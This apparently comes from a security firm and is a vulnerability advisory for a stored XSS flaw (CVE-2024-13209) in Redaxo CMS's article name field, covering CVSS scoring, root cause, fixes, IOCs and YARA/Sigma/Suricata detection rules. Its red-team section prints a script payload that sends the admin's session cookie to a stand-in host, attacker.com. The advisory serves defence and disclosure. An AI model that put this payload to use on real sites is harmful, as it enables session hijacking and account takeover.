CVE-2024-13209

Executive Summary

CVE-2024-13209 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Redaxo CMS version 5.18.1. The flaw resides in the Structure Management Page, specifically within the article name parameter during the editing process. An authenticated attacker with low privileges can inject arbitrary JavaScript into the Article Name field, which is then stored and executed in the browsers of other users (including administrators) who view the affected article. This can lead to session hijacking, credential theft, or defacement. The vendor was contacted but did not respond, leaving the vulnerability unpatched at the time of analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public disclosure of a proof-of-concept increases the risk for targeted attacks.

Supply Chain & Package Security

Redaxo CMS is a PHP-based content management system. The vulnerability is not in a third-party package but in the core application logic. No official patch or advisory has been released by the vendor. Users are advised to apply manual input sanitization or disable the affected functionality until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account with article editing rights.
• User Interaction (UI): Required (R) – Victim must visit the affected article page.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Base Score: 5.4 (Medium)
Temporal Score: 5.0 (Medium) – Due to public exploit availability but no active exploitation observed.

Deep Dive & Mechanics

The vulnerability is triggered via the Article Name parameter in the URL:

/index.php?page=structure&category_id=1&article_id=1&clang=1&function=edit_art&artstart=0

When an authenticated user edits an article, the Article Name input is not properly sanitized before being stored in the database. Upon rendering the article list or detail page, the unsanitized input is echoed back to the browser without proper encoding, allowing arbitrary HTML/JavaScript execution.

Root Cause: The application fails to apply output encoding (e.g., htmlspecialchars() in PHP) when displaying the article name in the administrative interface. This is a classic Stored XSS pattern.

Attack Flow:

1. Attacker logs in with low-privilege credentials.
2. Attacker navigates to the article edit page.
3. Attacker injects a malicious payload into the Article Name field (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the database.
5. When an administrator or other user views the article list or edit page, the script executes in their browser.
6. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Redaxo 5.18.1):

// In the article edit view, the name is output without sanitization
echo $article->getName();

Patched Code (Hypothetical Fix):

// Apply HTML entity encoding to prevent XSS
echo htmlspecialchars($article->getName(), ENT_QUOTES, 'UTF-8');

Since no official patch exists, users must manually implement this fix in the affected template files (likely in redaxo/src/addons/structure/).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid user account with article editing privileges.
• Network access to the Redaxo CMS instance.

Exploit Steps:

1. Log in to the Redaxo backend.
2. Navigate to: /index.php?page=structure&category_id=1&article_id=1&clang=1&function=edit_art&artstart=0
3. In the Article Name field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the article.
5. Wait for an administrator to view the article list or edit page. The script will execute and exfiltrate the admin's session cookie.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /index.php?page=structure with suspicious article_name parameters containing <script> or onerror attributes.
• Use WAF rules to block common XSS patterns in POST/GET parameters.

Mitigation:

• Apply input validation and output encoding as described in the patched code section.
• Restrict article editing privileges to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /index.php?page=structure with article_name containing <script> tags.
  • Outbound connections to known malicious domains from the CMS server.
• File IOCs:
  • Modified database entries in the rex_article table with name field containing JavaScript.
• Log IOCs:
  • Repeated 200 responses to /index.php?page=structure from a single user editing multiple articles.
  • Error logs showing unexpected HTML/JavaScript in article names.

Detection Engineering

YARA Rule

rule CVE_2024_13209_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Redaxo CMS article names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13209"
    strings:
        $xss_payload1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss_payload3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13209 Stored XSS in Redaxo CMS
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit stored XSS in Redaxo CMS article name field
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=structure'
        cs-uri-query|contains: 'function=edit_art'
        cs-uri-query|contains|re: '(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in article names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13209 Stored XSS in Redaxo CMS"; flow:to_server; content:"/index.php"; http_uri; content:"page=structure"; http_uri; content:"function=edit_art"; http_uri; pcre:"/(<script|onerror|javascript:)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Code Fix: Apply output encoding to the article name in the affected template files. For example, in redaxo/src/addons/structure/, replace echo $article->getName(); with echo htmlspecialchars($article->getName(), ENT_QUOTES, 'UTF-8');.
2. Restrict Privileges: Limit article editing capabilities to only trusted administrators.
3. Web Application Firewall (WAF): Deploy rules to block common XSS patterns in the article_name parameter.

Long-Term Measures:

• Monitor the Redaxo CMS repository for an official patch.
• Consider migrating to a supported CMS if the vendor remains unresponsive.
• Implement a Content Security Policy (CSP) to mitigate the impact of XSS.

Workaround:

• Disable the article editing functionality for non-admin users via .htaccess or server configuration until a patch is applied.

Valters IT
Securing Digital Frontiers